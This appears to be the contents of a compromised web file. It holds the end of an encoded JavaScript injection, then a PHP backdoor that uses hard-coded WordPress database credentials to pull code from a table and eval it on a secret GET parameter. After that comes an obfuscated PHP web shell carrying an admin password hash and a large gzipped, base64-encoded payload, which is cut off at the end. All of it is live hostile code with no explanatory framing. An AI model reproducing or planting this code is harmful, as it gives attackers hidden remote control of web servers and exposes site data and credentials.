1,59,50,46,98,61,92,39,99,58,47,47,101,46,102,47,92,39,43,49,43,92,39,47,97,46,51,92,39,59,39,44,49,55,44,49,55,44,39,118,97,114,124,115,116,97,109,112,124,105,109,103,124,112,110,103,124,110,111,119,124,101,110,99,114,121,112,116,124,85,82,76,124,49,52,57,57,55,124,73,109,97,103,101,124,110,101,119,124,98,103,124,115,114,99,124,104,116,116,112,115,124,124,53,52,49,53,54,49,52,53,49,51,49,50,52,124,105,99,117,124,68,97,116,101,39,46,115,112,108,105,116,40,39,124,39,41,44,48,44,123,125,41,41))</script></body></html>
<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="ikiw"){$conn=mysqli_connect("localhost","malukuce_wp954","]V3pSs0)4v","malukuce_wp954");$q=mysqli_query($conn,"SELECT `code` FROM alfa_bc LIMIT 0,1");$r=mysqli_fetch_assoc($q);$func="cr"."ea"."te_"."fun"."ction";$x=$func("\$c","e"."v"."al"."('?>'.base"."64"."_dec"."ode(\$c));");$x($r["code"]);exit;}?>
<?php
set_time_limit(0);
ini_set('memory_limit', '-1');
$tCGZymSppGjcz = array(
'usbiXfk' => 'admin',
'paXyxwXhwzTsdrQJM' => '3b0df409b12f543e73094dca34b1d6bb',
'saWVqQbuhCHZhjkY' => '0',
'loVMocQaLDkVyJGdU' => '403',
'shzJBXLmckRX' => '1',
'poPHAiEOFtpyr' => false,
'cgUGhgfQZttvPBF' => true,
);
$tlVnVPaijO='func'.'t'.'i'.'on_e'.'x'.'ist'.'s'.'';$LEZbckgx='e'.'va'.'l'.'';$PPYYHflZvAfiM='g'.'zi'.'nfl'.'ate'.'';$zflqAQza='AB'.'C'.'D'.'E'.'F'.'GHI'.'J'.'K'.'L'.'MNO'.'P'.'Q'.'RST'.'U'.'V'.'W'.'XYZ'.'a'.'bcd'.'ef'.'ghijk'.'l'.'mn'.'opqr'.'st'.'u'.'vw'.'xyz012'.'34567'.'8'.'9+'.'/'.'='.'';$yqlbpKcr='su'.'bstr';$bkduIZeIAofndF='ord'.'';$KclObxtzO='strle'.'n'.'';$dsPuURSVfOsYM='s'.'tr'.'pos';$DVYRGaTCjcm='imp'.'l'.'o'.'d'.'e'.'';$CkfMQf='chr'.'';$vAoXsmAOr='preg_re'.'p'.'la'.'ce';$JZgZGuldInoRR='['.'^'.'A-'.'Za'.'-z0-'.'9\\'.'+\/'.'\\'.'=]'.'';$zHRzuRWQHjDztRC='='.'='.'=';$ttHEVvnItq="";$ohPtPprK='b'.'a'.'s'.'e6'.'4'.'_enc'.'o'.'d'.'e'.'';$yZqUVgsckftThpo='base'.'64_d'.'ec'.'od'.'e'.'';if(!$tlVnVPaijO($ohPtPprK)){function GzAJUHyu($jJURPZbV){global $zflqAQza,$yqlbpKcr,$bkduIZeIAofndF,$KclObxtzO,$DVYRGaTCjcm,$ttHEVvnItq,$zHRzuRWQHjDztRC;if(empty($jJURPZbV))return;$zPmgcBcBrMF = $DiIwWDNC = $ELoJVw = $PMadNBf = $wDzXkLrfTQ = $ztdrQUshB = $omVPGLgiD = $tGmqyfXqsbrv = $NunHyqBdJAV = 0;$deYXQfZ = 0;$jdQsxGPRHwkO = $ttHEVvnItq;$EoDpKNcuL = array();if(!$jJURPZbV){return $jJURPZbV;}do{$zPmgcBcBrMF = $bkduIZeIAofndF($yqlbpKcr($jJURPZbV, $NunHyqBdJAV++, 1));$DiIwWDNC = $bkduIZeIAofndF($yqlbpKcr($jJURPZbV, $NunHyqBdJAV++, 1));$ELoJVw = $bkduIZeIAofndF($yqlbpKcr($jJURPZbV, $NunHyqBdJAV++, 1));$tGmqyfXqsbrv = $zPmgcBcBrMF << 16 | $DiIwWDNC << 8 | $ELoJVw;$PMadNBf = $tGmqyfXqsbrv >> 18 & 0x3f;$wDzXkLrfTQ = $tGmqyfXqsbrv >> 12 & 0x3f;$ztdrQUshB = $tGmqyfXqsbrv >> 6 & 0x3f;$omVPGLgiD = $tGmqyfXqsbrv & 0x3f;$EoDpKNcuL[$deYXQfZ++] = $yqlbpKcr($zflqAQza, $PMadNBf, 1).$yqlbpKcr($zflqAQza, $wDzXkLrfTQ, 1).$yqlbpKcr($zflqAQza, $ztdrQUshB, 1).$yqlbpKcr($zflqAQza, $omVPGLgiD, 1);} while ($NunHyqBdJAV < $KclObxtzO($jJURPZbV));$jdQsxGPRHwkO = $DVYRGaTCjcm($EoDpKNcuL, $ttHEVvnItq);$kmMdLyaXDSeW = ($KclObxtzO($jJURPZbV) % 3);return ($kmMdLyaXDSeW ? $yqlbpKcr($jdQsxGPRHwkO, 0, ($kmMdLyaXDSeW - 3)) : $jdQsxGPRHwkO).$yqlbpKcr($zHRzuRWQHjDztRC, ($kmMdLyaXDSeW || 3));}}else{function GzAJUHyu($jJURPZbV){global $ohPtPprK;return $ohPtPprK($jJURPZbV);}}if(!$tlVnVPaijO($yZqUVgsckftThpo)){function klNGpRn($pRsXiQGvpVmMHFY){global $zflqAQza,$yqlbpKcr,$KclObxtzO,$dsPuURSVfOsYM,$CkfMQf,$vAoXsmAOr,$JZgZGuldInoRR,$ttHEVvnItq;if(empty($pRsXiQGvpVmMHFY))return;$JGTLjP = $BhfSUJYOHXkHDm = $PHlNGqwCcIhNC = $ttHEVvnItq;$DrrvlUmEtqujqng = $rOrwc = $lyiHdqcav = $MWEBrownYhrl = $ttHEVvnItq;$NunHyqBdJAV = 0;$mJqAhNhn = $ttHEVvnItq;$pRsXiQGvpVmMHFY = $vAoXsmAOr($JZgZGuldInoRR, $ttHEVvnItq, $pRsXiQGvpVmMHFY);do{$DrrvlUmEtqujqng = $dsPuURSVfOsYM($zflqAQza, $yqlbpKcr($pRsXiQGvpVmMHFY, $NunHyqBdJAV++, 1));$rOrwc = $dsPuURSVfOsYM($zflqAQza, $yqlbpKcr($pRsXiQGvpVmMHFY, $NunHyqBdJAV++, 1));$lyiHdqcav = $dsPuURSVfOsYM($zflqAQza, $yqlbpKcr($pRsXiQGvpVmMHFY, $NunHyqBdJAV++, 1));$MWEBrownYhrl = $dsPuURSVfOsYM($zflqAQza, $yqlbpKcr($pRsXiQGvpVmMHFY, $NunHyqBdJAV++, 1));$JGTLjP = ($DrrvlUmEtqujqng << 2) | ($rOrwc >> 4);$BhfSUJYOHXkHDm = (($rOrwc & 15) << 4) | ($lyiHdqcav >> 2);$PHlNGqwCcIhNC = (($lyiHdqcav & 3) << 6) | $MWEBrownYhrl;$mJqAhNhn = $mJqAhNhn . $CkfMQf((int) $JGTLjP);if ($lyiHdqcav != 64) {$mJqAhNhn = $mJqAhNhn . $CkfMQf((int) $BhfSUJYOHXkHDm);}if ($MWEBrownYhrl != 64) {$mJqAhNhn = $mJqAhNhn . $CkfMQf((int) $PHlNGqwCcIhNC);}$JGTLjP = $BhfSUJYOHXkHDm = $PHlNGqwCcIhNC = $ttHEVvnItq;$DrrvlUmEtqujqng = $rOrwc = $lyiHdqcav = $MWEBrownYhrl = $ttHEVvnItq;}while($NunHyqBdJAV < $KclObxtzO($pRsXiQGvpVmMHFY));return $mJqAhNhn;}}else{function klNGpRn($jJURPZbV){global $yZqUVgsckftThpo;return $yZqUVgsckftThpo($jJURPZbV);}}$vZPstxamCHRxHVc='cr'.'e'.'at'.'e'.'_'.'fu'.'ncti'.'on';$OvToqGQ = @$vZPstxamCHRxHVc('$wV',$LEZbckgx.'('.$PPYYHflZvAfiM.'('.'k'.'lNG'.'pRn'.''.'($wV)'.')'.')'.';');$OvToqGQ("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